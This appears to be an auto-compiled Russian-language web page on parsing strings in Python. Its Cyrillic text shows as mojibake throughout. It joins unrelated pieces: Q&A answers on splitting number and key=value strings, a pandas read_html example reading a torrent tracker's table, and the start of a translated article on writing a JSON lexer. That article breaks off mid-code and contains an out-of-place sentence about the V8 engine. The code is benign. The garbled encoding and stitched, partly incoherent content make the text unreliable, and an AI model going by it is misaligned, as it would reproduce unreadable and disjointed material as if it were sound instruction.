Π Π°Π·Π½ΠΎΠ΅

ΠŸΠ°Ρ€ΡΠ΅Ρ€ строки python: python — Π Π°Π·Π±ΠΎΡ€ строки Π½Π° части

Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅

python — ΠŸΠ°Ρ€ΡΠΈΠ½Π³ строки ΠΈ сравнСниС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π΅Ρ‘ элСмСнтов

Π‘Ρ‚Ρ€ΠΎΠΊΠ°, содСрТащаяся Π² Ρ„Π°ΠΉΠ»Π΅, выглядит ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:

[16, 87, 97, 88, 73, 17, 46, 88, 30, 74, 5, 33, 36, 89, 36, 46, 39, 8, 14, 77, 25, 87, 18, 98, 38, 24, 37, 70, 13, 83, 76, 2, 20, 25, 31, 72, 36, 67, 50, 83, 37, 49, 87, 66, 40, 83, 34, 93, 14, 24, 43, 96, 36, 98, 9, 51, 48, 87, 4, 28, 95, 82, 94, 22, 25, 66, 35, 76, 55, 23, 3, 6, 15, 56, 6, 26, 87, 10, 4, 64, 14, 43, 25, 77, 21, 7, 66, 24, 36, 57, 74, 11, 93, 66, 7, 23, 54, 27, 12, 42, 79, 70, 25, 11, 2, 27, 26, 50, 20, 48, 63, 83, 58, 86, 71, 3, 85, 13, 54, 99, 66, 83, 33, 35, 91, 7, 72, 74, 17, 89, 47, 78, 79, 10, 56, 22, 62, 75, 46, 37, 79, 75, 1, 93, 97, 25, 33, 23, 88, 32, 45, 53, 8, 26, 89, 67, 97, 96, 48, 52, 74, 90, 37, 37, 41, 23, 93, 34, 59, 54, 54, 7, 25, 37, 18, 35, 70, 84, 44,  63, 93, 78, 13, 37, 47, 98, 3, 3, 39, 67, 70, 65, 57, 51, 39, 33, 71, 89, 48, 10, 26, 14, 46, 16, 66, 32, 60, 12, 54, 24, 67, 54, 9, 55, 10, 28, 36, 28, 36, 75, 65, 90, 7, 4, 56, 72, 75, 48]

Π‘Ρ‚Ρ€ΠΎΠΊΡƒ Π² Python (ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ находящССся Π² Π½Π΅ΠΉ число — элСмСнты списка) ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ получаСтся, Π° Π²ΠΎΡ‚ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ сравнСниС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· элСмСнтов списка ΠΏΠΎΡ‡Π΅ΠΌΡƒ-Ρ‚ΠΎ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ρ‚.ΠΊ. числовыС Π΄Π°Π½Π½Ρ‹Π΅ прСдставлСны строками, Π° Π½Π΅ int-Π°ΠΌΠΈ… Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° Π΄Π°Π½ Π½ΠΈΠΆΠ΅:

import numpy as np
import matplotlib.pyplot  as plt
from numpy import loadtxt
import pandas as pd

peaks=0
list_of_peaks = []
text_file = open('D:\\MeaningsData.txt', 'r')
list_of_peaks = text_file.read().split(', ')
**int (list_of_peaks)
for i in list_of_peaks:
    if ((list_of_peaks[i]<= list_of_peaks[i-1])):
        peaks=peaks+1**
print(peaks)

ΠšΠΎΠΌΠΏΠΈΠ»ΡΡ‚ΠΎΡ€ Π²Ρ‹Π΄Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΎΡˆΠΈΠ±ΠΊΡƒ:

TypeError: int() argument must be a string, a bytes-like object or a number, not ‘list’

ΠœΠΎΠΆΠ΅Ρ‚Π΅, поТалуйста, ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ Π»ΡƒΡ‡ΡˆΠΈΠΉ способ парсинга строк с числами для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ значСния самих чисСл (находящихся Π² спискС ΠΈΠ»ΠΈ массивС) ΠΌΠΎΠΆΠ½ΠΎ ΡΡ€Π°Π²Π½ΠΈΠ²Π°Ρ‚ΡŒ?

парсСр — ΠŸΠ°Ρ€ΡΠΈΠ½Π³ слоТной строки Π½Π° python

Π­Ρ‚ΠΎ Π΄Π°Π»Π΅ΠΊΠΎ Π½Π΅ слоТная строка. ΠŸΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ split:

a = "t=xx.x;h=xx.x;b=xxx;s=xx;sn=xxx;"
vars = a.split(";")
print(vars)

[‘t=xx.x’, ‘h=xx.x’, ‘b=xxx’, ‘s=xx’, ‘sn=xxx’, »]

МоТно ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄ Π΅Ρ‰Π΅ нагляднСС:

for _ in vars:
    if len(_):
        print(_)

ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠΌ:

t=xx.x
h=xx.x
b=xxx
s=xx
sn=xxx

UPDATE:

Если Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Ρ‹ «ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ — Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅», Ρ‚ΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ΡΡŒ словарСм:

a = "t=xx.x;h=xx.x;b=xxx;s=xx;sn=xxx;"
res = {x[0]:x[1] for x in [y.split("=") for y in a.split(";") if len(y)]}
print(res)

{‘t’: ‘xx.x’, ‘h’: ‘xx.x’, ‘b’: ‘xxx’, ‘s’: ‘xx’, ‘sn’: ‘xxx’}

Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ:

print(res["sn"])

xxx

МоТно ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΏΠ°Ρ€Ρ‹ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ locals(), Π½ΠΎ ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Π»ΠΈ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚Π΅.

UPDATE #2

По ΡƒΡ‚ΠΎΡ‡Π½Π΅Π½ΠΈΡŽ Π°Π²Ρ‚ΠΎΡ€Π° вопроса ΠΌΠΎΠ³Ρƒ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅:

message=b't=24.00;h=24.00;b=80;\x00?\xd6{"\xcc\xbe'
#Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ Π½Π΅ ΡΡ‚Ρ€ΠΎΠΊΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π° Π±Π°ΠΉΡ‚Ρ‹. поэтому сначала Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠΉΡ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅:
a = message.decode('ascii', errors='surrogateescape')
# Π»ΠΈΠ±ΠΎ
# a = message.decode('utf-8', errors='surrogateescape')
res = {x[0]:x[1] for x in [y.split("=") for y in a.split(";") if "=" in y]}
#ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° условиС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ для y (if "=" in y)
print(res)

{‘t’: ‘24.00’, ‘h’: ‘24.00’, ‘b’: ’80’}

И Π΅Ρ‰Π΅, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅:

t = res["t"]

Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΡΡ‚Ρ€ΠΎΠΊΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ. Если Π²Π°ΠΌ Π² дальнСйшСм придётся ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ с Π½Π΅ΠΉ ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ арифмСтичСскиС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, сразу ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚Π΅ Π΅Π΅ ΠΊ числовому Ρ‚ΠΈΠΏΡƒ:

t = float(res["t"])

python — ΠŸΠ°Ρ€ΡΠΈΠ½Π³ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π² список списков

Π’ΠΎΡ‚ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉ Pandas ΠΌΠΎΠ΄ΡƒΠ»ΡŒ:

In [37]: import pandas as pd

In [38]: url = 'http://kinozal.tv/browse.php?s=%F7%E5%EB%EE%E2%E5%EA&g=0&c=0&v=0&d=0&w=0&t=0&f=0'

Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строкС ΠΌΡ‹:

  1. Ρ‡ΠΈΡ‚Π°Π΅ΠΌ (парсим) Ρ‚Ρ€Π΅Ρ‚ΡŒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ read_html() парсит всС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список DataFrames, нас интСрСсуСт Ρ‚Ρ€Π΅Ρ‚ΡŒΡ Ρ‚Π°Π±Π»ΠΈΡ†Π° [с индСксом 2]) ΠΏΠΎ Π΄Π°Π½Π½ΠΎΠΌΡƒ URL
  2. пропускаСм ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΊΠΎΠ»ΠΎΠ½ΠΊΡƒ (Unnamed: 0)
  3. ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Ρ‹Π²Π°Π΅ΠΌ ΠΊΠΎΠ»ΠΎΠ½ΠΊΡƒ Unnamed: 1 —> Name
  4. сохраняСм Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ DataFrame ΠΊΠ°ΠΊ df

Code:

In [39]: df = pd.read_html(url, header=0)[2].iloc[:, 1:].rename(columns={'Unnamed: 1':'Name'})

ΠŸΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ 10 строк нашСго «Ρ„Ρ€Π΅ΠΉΠΌΠ°»:

In [40]: df.head(10)
Out[40]:
                            Name  Комм.   Π Π°Π·ΠΌΠ΅Ρ€  Π‘ΠΈΠ΄ΠΎΠ²  ΠŸΠΈΡ€ΠΎΠ²               Π—Π°Π»ΠΈΡ‚     Π Π°Π·Π΄Π°Π΅Ρ‚
0  Π”ΠΆΠΎΡ€Π΄ΠΆ Π‘. КлСйсон - Π‘Π°ΠΌΡ‹ΠΉ ...      2   342 ΠœΠ‘      2      3     сСгодня Π² 19:17       fx365
1  ПослСдний Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ Π½Π° Π—Π΅ΠΌΠ»Π΅...      1   1.9 Π“Π‘     15     61     сСгодня Π² 18:19    BLACKTIR
2  ПослСдний Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ Π½Π° Π—Π΅ΠΌΠ»Π΅...      2   707 ΠœΠ‘      8     35     сСгодня Π² 18:18    BLACKTIR
3  Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅...      2  3.25 Π“Π‘     25      8     сСгодня Π² 17:15   Olyanchik
4  Π€Ρ€ΡƒΠ½Π·ΠΈΠΊ ΠœΠΊΡ€Ρ‚Ρ‡ΡΠ½. Π§Π΅Π»ΠΎΠ²Π΅ΠΊ с...      2   500 ΠœΠ‘     23      0       Π²Ρ‡Π΅Ρ€Π° Π² 22:33   Π§Π΅Π»ΠΎΠ²Π΅ΠΊ91
5  Π§Π΅Π»ΠΎΠ²Π΅ΠΊ-Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΠΊΠ° (9 сСзон...      4  4.85 Π“Π‘      6     14       Π²Ρ‡Π΅Ρ€Π° Π² 22:29  Gorgona007
6  Борис Π›ΠΈΡ‚Π²Π°ΠΊ - Π’Ρ€Π΅Π½ΠΈΠ½Π³ Π»ΠΈΡ‡...      3   142 ΠœΠ‘      7      1       Π²Ρ‡Π΅Ρ€Π° Π² 16:57       sekes
7  Π§Π΅Π»ΠΎΠ²Π΅ΠΊ ΠΈΠ· Π›Π°Ρ€Π°ΠΌΠΈ / The Ma...      1   744 ΠœΠ‘     20      0       Π²Ρ‡Π΅Ρ€Π° Π² 14:39  dushevnaya
8  Π§Π΅Π»ΠΎΠ²Π΅ΠΊ - ΡˆΠ²Π΅ΠΉΡ†Π°Ρ€ΡΠΊΠΈΠΉ Π½ΠΎΠΆ ...      0  1.46 Π“Π‘     19      1  15.10.2016 Π² 21:34     Amancio
9  Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅...      1   243 ΠœΠ‘     53      1  15.10.2016 Π² 21:15     Amancio

вывСсти всС строки Π² Π½Π°ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΈΠΈ (столбСц: Name) ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… присутствуСт подстрока 'Π΅ΠΌΡ„ΠΈΡ€Π°':

In [41]: df.ix[df.Name.str.contains('Π΅ΠΌΡ„ΠΈΡ€Π°')]
Out[41]:
                             Name  Комм.   Π Π°Π·ΠΌΠ΅Ρ€  Π‘ΠΈΠ΄ΠΎΠ²  ΠŸΠΈΡ€ΠΎΠ²               Π—Π°Π»ΠΈΡ‚      Π Π°Π·Π΄Π°Π΅Ρ‚
3   Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅...      2  3.25 Π“Π‘     25      8     сСгодня Π² 17:15    Olyanchik
9   Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅...      1   243 ΠœΠ‘     53      1  15.10.2016 Π² 21:15      Amancio
14  Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅...     11  7.25 Π“Π‘    228     13  15.10.2016 Π² 02:28       daboen
15  Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅...      4  2.38 Π“Π‘     53      2  14.10.2016 Π² 20:29     DaDalida
16  Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅...      7  1.58 Π“Π‘    172      4  14.10.2016 Π² 19:50  jaaadina123

список Π½Π°ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΈΠΉ, ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΡΡŽΡ‰ΠΈΡ… ΡƒΡΠ»ΠΎΠ²ΠΈΡŽ, Π² Π²ΠΈΠ΄Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ списка:

In [43]: df.ix[df.Name.str.contains('Π΅ΠΌΡ„ΠΈΡ€Π°'), 'Name'].tolist()
Out[43]:
['Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ / 2016 / Π Π£ / HDTVRip (720p)',
 'Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ. ΠšΠΎΠ½Ρ†Π΅Ρ€Ρ‚ Π² Олимпийском / Π ΠΎΠΊ / 2016 / MP3',
 'Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ / 2016 / Π Π£ / HDTV (1080i)',
 'Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ / 2016 / Π Π£ / DVB',
 'Π—Π΅ΠΌΡ„ΠΈΡ€Π° - МалСнький Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ / 2016 / Π Π£ / SATRip']

PS Π²ΠΎΠΎΠ±Ρ‰Π΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Pandas ΠΌΠΎΠΆΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ интСрСсных Π²Π΅Ρ‰Π΅ΠΉ (особСнно это касаСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…) с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ Π·Π°Ρ‚Ρ€Π°Ρ‚Π°ΠΌΠΈ (ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΊΠΎΠ΄Π°) с практичСски максимальной (для Python) ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ.

ПишСм простой парсСр JSON Π½Π° Python

ΠŸΠ΅Ρ€Π΅Π²ΠΎΠ΄ ΡΡ‚Π°Ρ‚ΡŒΠΈ Phil Eaton

НаписаниС парсСра JSON — ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΡ… способов ознакомлСния с Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ°ΠΌΠΈ парсинга. Π€ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡ€Π΅Π΄Π΅Π»ΡŒΠ½ΠΎ просто, ΠΎΠ½ΠΎ построСно Π½Π° рСкурсии. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΎΠ½ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ слоТнСС Ρ‡Π΅ΠΌ, скаТСм, Braifuck. Π’Π°ΠΊΠΆΠ΅, вСроятно, Π²Ρ‹ ΡƒΠΆΠ΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡŒ с JSON.

Если Π²Ρ‹ просто Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΊΠΎΠ΄ — Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π½Π° Github.

Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ парсинг, ΠΈ Ρ‡Π΅ΠΌ ΠΎΠ½ Π½Π΅ являСтся

ΠžΠ±Ρ‹Ρ‡Π½ΠΎ парсинг разбиваСтся Π½Π° Π΄Π²Π° этапа: лСксичСский Π°Π½Π°Π»ΠΈΠ· ΠΈ синтаксичСский Π°Π½Π°Π»ΠΈΠ·. ЛСксичСский Π°Π½Π°Π»ΠΈΠ· Ρ€Π°Π·Π±ΠΈΠ²Π°Π΅Ρ‚ исходныС Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠ΅ элСмСнты языка — Ρ‚ΠΎΠΊΠ΅Π½Ρ‹ (ΠΈΠ»ΠΈ лСксСмы). БинтаксичСский Π°Π½Π°Π»ΠΈΠ· собираСт ΠΈΠ· лСксСм осмыслСнныС (для этого языка) выраТСния.

ΠŸΠ°Ρ€ΡΠΈΠ½Π³ Π½Π΅ провСряСт ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ исходных Π΄Π°Π½Π½Ρ‹Ρ…. Π’ΠΎ Π΅ΡΡ‚ΡŒ ΠΌΡ‹ Π½Π΅ смотрим, объявлСна Π»ΠΈ пСрСмСнная ΠΏΠ΅Ρ€Π΅Π΄ использованиСм, Π²Ρ‹Π·Π²Π°Π½Π° Π»ΠΈ функция с ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ ΠΈΠ»ΠΈ объявлСна Π»ΠΈ пСрСмСнная Π²Ρ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π·.

Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ

Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΡ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ лишь ΠΎΠ΄ΠΈΠ½ ΠΌΠ΅Ρ‚ΠΎΠ΄ from_string, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ· строки Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ (dictionary). ΠŸΡ€ΠΈΠΌΠ΅Ρ€ тСста:

assert_equal(from_string('{"foo": 1}'), {"foo": 1})

ЛСксичСский Π°Π½Π°Π»ΠΈΠ·

На этапС лСксичСского Π°Π½Π°Π»ΠΈΠ·Π° ΠΌΡ‹ Ρ€Π°Π·ΠΎΠ±ΡŒΡ‘ΠΌ ΠΈΡΡ…ΠΎΠ΄Π½ΡƒΡŽ строку Π½Π° лСксСмы. Π’ΠΎ врСмя Π°Π½Π°Π»ΠΈΠ·Π° ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ, ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΈ отступы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π°.

Для ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠ΅Π³ΠΎ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° Π½Π°ΠΌ потрСбуСтся ΠΏΡ€ΠΎΠΉΡ‚ΠΈΡΡŒ ΠΏΠΎ всСм символам Π² Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ ΠΈΡ… Π½Π° Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ (Π½Π΅ рСкурсивныС!) языковыС конструкции, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ: числа, строки ΠΈ Π±ΡƒΠ»Π΅Π²Ρ‹ значСния. Π‘Ρ‚Ρ€ΠΎΠΊΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒΡŽ процСсса, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚Π±Ρ€ΠΎΡΠΈΡ‚ΡŒ всС ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹, Π½Π΅ ΡƒΠ±Π΅Π΄ΠΈΠ²ΡˆΠΈΡΡŒ, Ρ‡Ρ‚ΠΎ это Π½Π΅ Ρ‡Π°ΡΡ‚ΡŒ строки.

Π’ ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠΌ лСксСрС ΠΌΡ‹ Π±Ρ‹ слСдили Π·Π° отступами ΠΈ коммСнтариями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Ρ‹, Π½ΠΎΠΌΠ΅Ρ€ΠΎΠΌ строки ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠΌ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ находимся. ВсС эти Π΄Π°Π½Π½Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ Π² процСссС Π΄Π΅Π±Π°Π³Π³ΠΈΠ½Π³Π°.

ПослСдняя вСрсия Π΄Π²ΠΈΠΆΠΊΠ° V8 JavaScript Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π²Ρ‹Π·Π²Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π­Ρ‚ΠΎ ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹ΠΉ ΠΏΡ€ΠΎΡ€Ρ‹Π² для лСксСра языка с Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΌΠΈ функциями ΠΈ классами.

РСализация лСксСра JSON

Набросок лСксСра Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ†ΠΈΠΊΠ»ΠΎΠΌ ΠΏΠΎ входящСй строкС ΠΈ Π²Ρ‹ΠΈΡΠΊΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρ‹ строк, чисСл, Π±ΡƒΠ»Π΅Π²Ρ‹Ρ… Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, null ΠΈ синтаксиса JSON, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π»Π΅Π²Ρ‹Π΅ ΠΈ ΠΏΡ€Π°Π²Ρ‹Π΅ скобки. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· элСмСнтов ΠΊΠ°ΠΊ список.

ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹Π²ΠΎΠ΄Π°:

assert_equal(lex('{"foo": [1, 2, {"bar": 2}]}'),
             ['{', 'foo', ':', '[', 1, ',', 2, ',', '{', 'bar', ':', 2, '}', ']', '}'])

Π—Π°Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° ΠΊΠΎΠ΄Π°:

def lex(string):
    tokens = []

    while len(string):
        json_string, string = lex_string(string)
        if json_string is not None:
            tokens.append(json_string)
            continue

        

        if string[0] in JSON_WHITESPACE:
            string = string[1:]
        elif string[0] in JSON_SYNTAX:
            tokens.append(string[0])
            string = string[1:]
        else:
            raise Exception('Unexpected character: {}'.format(string[0]))

    return tokens

